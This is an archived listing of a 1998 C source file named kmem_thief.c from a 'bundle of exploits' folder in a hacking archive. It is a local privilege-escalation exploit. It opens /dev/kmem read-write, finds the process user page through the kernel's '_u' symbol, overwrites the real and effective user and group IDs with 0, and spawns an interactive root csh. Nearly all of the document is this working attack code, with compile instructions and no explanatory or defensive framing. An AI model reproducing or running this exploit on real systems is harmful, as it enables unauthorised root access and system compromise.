home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / kmemthief.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  90 lines

  1. /*   
  2.    kmem_thief
  3.    compile as follows:
  4.    cc -O kmem_thief.c -ld -o kmem_thief
  5. */
  6. #include <stdio.h>
  7. #include <fcntl.h>
  8. #include <sys/signal.h>
  9. #include <sys/param.h>
  10. #include <sys/types.h>
  11. #include <sys/dir.h>
  12. #include <sys/user.h>
  13.  
  14. struct user userpage;
  15. long address(), userlocation;
  16.  
  17. int main(argc, argv, envp)
  18.         int argc;
  19.         char *argv[], *envp[];
  20. {
  21.         int count, fd;
  22.         long where, lseek();
  23.         fd = open( "/dev/kmem",O_RDWR);
  24.         if(fd < 0)
  25.         {
  26.                 printf("Could not open /dev/kmem.\n");
  27.                 perror(argv);
  28.                 exit(10);
  29.         }
  30.         userlocation = address();
  31.         where = lseek(fd, userlocation, 0);
  32.         if(where != userlocation)
  33.         {
  34.                 printf("Could not seek to user page.\n");
  35.                 perror(argv);
  36.                 exit(20);
  37.         }
  38.         count = read(fd, &userpage, sizeof(struct user));
  39.         if(count != sizeof(struct user))
  40.         {
  41.                 printf("Could not read user page.\n");
  42.                 perror(argv);
  43.                 exit(30);
  44.         }
  45.         printf(" Current uid is %d\n", userpage.u_ruid);
  46.         printf(" Current gid is %d\n", userpage.u_rgid);
  47.         printf(" Current euid is %d\n", userpage.u_uid);
  48.         printf(" Current egid is %d\n", userpage.u_gid);
  49.         userpage.u_ruid = 0;
  50.         userpage.u_rgid = 0;
  51.         userpage.u_uid = 0;
  52.         userpage.u_gid = 0;
  53.         where = lseek(fd, userlocation, 0);
  54.         if(where != userlocation)
  55.         {
  56.                 printf("Could not seek to user page.\n");
  57.                 perror(argv);
  58.                 exit(40);
  59.         }
  60.         write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
  61.         execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
  62. }
  63.  
  64. # include <filehdr.h>
  65. # include <syms.h>
  66. # include <ldfcn.h>
  67.  
  68. # define LNULL ( (LDFILE *)0 )
  69.  
  70. long    address ()
  71. {
  72.         LDFILE  *object;
  73.         SYMENT  symbol;
  74.         long    idx;
  75.         object = ldopen( "/unix", LNULL );
  76.         if( object == LNULL ) {
  77.                 fprintf( stderr, "Could not open /unix.\n" );
  78.                 exit( 50 );
  79.         }
  80.         for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
  81.                 if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
  82.                         fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
  83.                         ldclose( object );
  84.                         return( symbol.n_value );
  85.                 }
  86.         }
  87.         fprintf( stderr, "Could not read symbols in /unix.\n");
  88.         exit( 60 );
  89. }
  90.